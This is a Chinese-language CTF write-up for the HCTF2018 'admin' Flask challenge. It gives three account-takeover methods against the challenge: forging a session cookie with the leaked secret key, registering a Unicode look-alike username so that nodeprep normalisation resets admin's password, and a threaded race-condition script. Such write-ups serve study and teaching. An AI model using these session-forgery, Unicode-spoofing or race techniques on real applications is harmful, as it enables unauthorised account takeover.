HCTF2018-admin
趁着国庆假期想做做题,结果buuoj的web居然关了…
这题的docker
https://github.com/woadsl1234/HCTF2018_admin
如果出现登录和注册返回500,mysql的docker不断重启的情况,可以把docker-compose.yml中的
1 | image: daocloud.io/library/mysql:5.7.4 |
改为
1 | image: mysql:5.7 |
然后进入mysql的docker,执行
1 | /bin/bash /usr/local/mysql/1.sh |
吐槽下两个弟弟舍友,一个出去旅游,一个和女朋友出去住了(???),就留我一个人在宿舍,真是惨惨
发现源代码
首页html中有
1 | <!-- you are not admin --> |
应该是要登录admin账户
注册一个账户登录后可以在修改密码页面的源码中找到github的链接
1 | <!-- https://github.com/woadsl1234/hctf_flask/ --> |
从而得到源码,可以看到使用了flask框架
解法1.flask session 伪造
登陆后存在一个cookie
1 | session=.eJxF0EFrwkAQBeC_UubsoW7NRfAQWRMUZoKyTdi5SDSx7m7WQqIYV_zvjRba63vwPWbusD20dXeE6bm91CPYmgqmd3jbwRSoWDWZjMfs2aDMDVo9IYE9ycphkTTaLq5k5w7FepIViwgDH1kmjvzKYGgM241hj7fsmYW5Zxn32i8jkpuGrQtoFxEFejqCC5yQSpy2bLXSIkvZZnL_wWpQi9xrVXmSLpD9vHGaH3GwULmgbdVkKp7BYwT7rj1sz9-uPv2fkG4cprkhse5pINnGASU7Umwx6CsW2A-p52FSi-UVfWIwnr0448uv-k9iH3X5-rc5lX4ooKy8OQkYwaWr29fjYPwOjx_OCm8N.XZQGLA.L8Mzu4W0sdrmDWiod1xuoVeKHHc |
根据p神的文章 https://www.leavesongs.com/PENETRATION/client-session-security.html
可以知道,flask的session是存在客户端的,并且没有加密。为了保证session不被篡改,flask会在数据后面附上数据的签名,在不知道secret_key的情况下是无法伪造签名的
但在这题的源代码中已经泄露了secret_key
在config.py中
1
SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'
使用这个脚本 https://github.com/noraj/flask-session-cookie-manager 对session进行decode和encode
- 对session进行decode得到
1
python3 flask_session_cookie_manager3.py decode -c "ckj123" -c ".eJxF0EFrwkAQBeC_UubsoW7NRfAQWRMUZoKyTdi5SDSx7m7WQqIYV_zvjRba63vwPWbusD20dXeE6bm91CPYmgqmd3jbwRSoWDWZjMfs2aDMDVo9IYE9ycphkTTaLq5k5w7FepIViwgDH1kmjvzKYGgM241hj7fsmYW5Zxn32i8jkpuGrQtoFxEFejqCC5yQSpy2bLXSIkvZZnL_wWpQi9xrVXmSLpD9vHGaH3GwULmgbdVkKp7BYwT7rj1sz9-uPv2fkG4cprkhse5pINnGASU7Umwx6CsW2A-p52FSi-UVfWIwnr0448uv-k9iH3X5-rc5lX4ooKy8OQkYwaWr29fjYPwOjx_OCm8N.XZQGLA.L8Mzu4W0sdrmDWiod1xuoVeKHHc"
1
b'{"_fresh":true,"_id":{" b":"NWJlODA1ZmZiMDViMjY4N2MxNDdkMWFlYjEwNjBkM2Q4OWE5MzZhZDFkNmJiMzliZjRiZmMyODFkNzBmZDAxYmI5NDRlZjkzMjE5NzNlYjE2ZWM4NTFkYjZjYTY2OGZjODc3ZTMzZWVmYTdmNDkzNjUyZGVhMDAxMTkzYjdlOTA="},"csrf_token":{" b":"NGRkMGViN2QxNGZjZjAzMDZkNTZjMzYwMWMxZjZmZTY2Y2IwMmFiMA=="},"image":{" b":"Zm5sVQ=="},"name":"admin2","user_id":"10"}'
- 将name改为admin后encode然后将session改为得到的字符串就可以以admin登录拿到flag
1
python3 flask_session_cookie_manager3.py encode -s "ckj123" -t "{'_fresh': True, '_id': b'5be805ffb05b2687c147d1aeb1060d3d89a936ad1d6bb39bf4bfc281d70fd01bb944ef9321973eb16ec851db6ca668fc877e33eefa7f493652dea001193b7e90', 'csrf_token': b'a7cb3920a7f0b7d08949f8a61f2078854dafef35', 'image': b'hmfP', 'name': 'admin', 'user_id': '10'}"
这里有个很坑的是这个脚本在linux下生成的session不能用。。但是windows下就可以。。解法2.unicode欺骗
这个点才是这题想考的
在注册登录和密码修改中都使用了一个自己定义的函数strlower,将用户名变为小写nodeprep是从twisted中导入的1
2
3def strlower(username):
username = nodeprep.prepare(username)
return username去github中搜索一下可以发现Twisted已经更新到19.2.0了,而这题的requirements.txt中使用的Twisted还是10.2.01
from twisted.words.protocols.jabber.xmpp_stringprep import nodeprep
搜索一下发现nodeprep.prepare存在unicode的安全问题,这也是Spotify任意用户密码重置漏洞的成因
http://webcache.googleusercontent.com/search?q=cache:1Jt1a9v583sJ:blog.lnyas.xyz/?p%3D1411&hl=zh-CN&gl=hk&strip=1&vwsrc=0 (原网页挂了,这是google的快照)
这个函数会把大写转换为小写,把类似的unicode字符做一个与chrome的地址栏里相似的转换,举个例子
BIG会被转换为big, ƁƗƓ会被转换为ɓɨɠ
他们对用户名是否重复的判断是执行一次这个函数然后进行比对 ,例如AAA会被变为aaa则和之前已经注册过的aaa重复 ,但是这里出现了一个错误,注册一个ᴬᴬᴬ,经过函数处理后变成了AAA,因为与aaa不同所以注册成功,而在用户点击重置密码的连接的时候,这个函数再次被执行了一次,AAA变成了aaa,导致用户aaa的密码被越权修改
- 按照文中的思路,注册一个用户ᴬdmin,登录后会发现变成了Admin,修改密码时再次调用strlower,Admin变为admin,从而重置admin的密码
解法3.条件竞争
- 在修改密码时用户名由session中获得
1
name = strlower(session['name'])
- 而在登陆时会先设置一个session再验证用户名密码是否正确因此可以进行条件竞争,进程1不断登录并修改密码,进程2不断以admin为用户名进行登录,使得修改密码的时候获得到admin的用户名,修改admin的密码
1
2
3
4
5
6
7
8
9if request.method == 'POST':
name = strlower(form.username.data)
session['name'] = name //就是这句
user = User.query.filter_by(username=name).first()
if user is None or not user.check_password(form.password.data):
flash('Invalid username or password')
return redirect(url_for('login'))
login_user(user, remember=form.remember_me.data)
return redirect(url_for('index'))
附上网上大佬的脚本1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25import requests import threading
def login(s, username, password):
data = {'username': username, 'password':password, 'submit': ''}
return s.post("http://admin.2018.hctf.io/login", data=data)
def logout(s):
return s.get("http://admin.2018.hctf.io/logout")
def change(s, newpassword):
data = {'newpassword':newpassword }
return s.post("http://admin.2018.hctf.io/change", data=data)
def func1(s):
login(s, 'ddd', 'ddd')
change(s, 'qweqweabcabc')
def func2(s):
logout(s)
res = login(s, 'admin', 'qweqweabcabc')
if '<a href="/index">/index</a>' in res.text:
print('finish')
def main():
for i in range(1000):
print(i)
s = requests.Session()
t1 = threading.Thread(target=func1, args=(s,)) t2 = threading.Thread(target=func2, args=(s,)) t1.start()
t2.start()
if __name__ == "__main__":
main()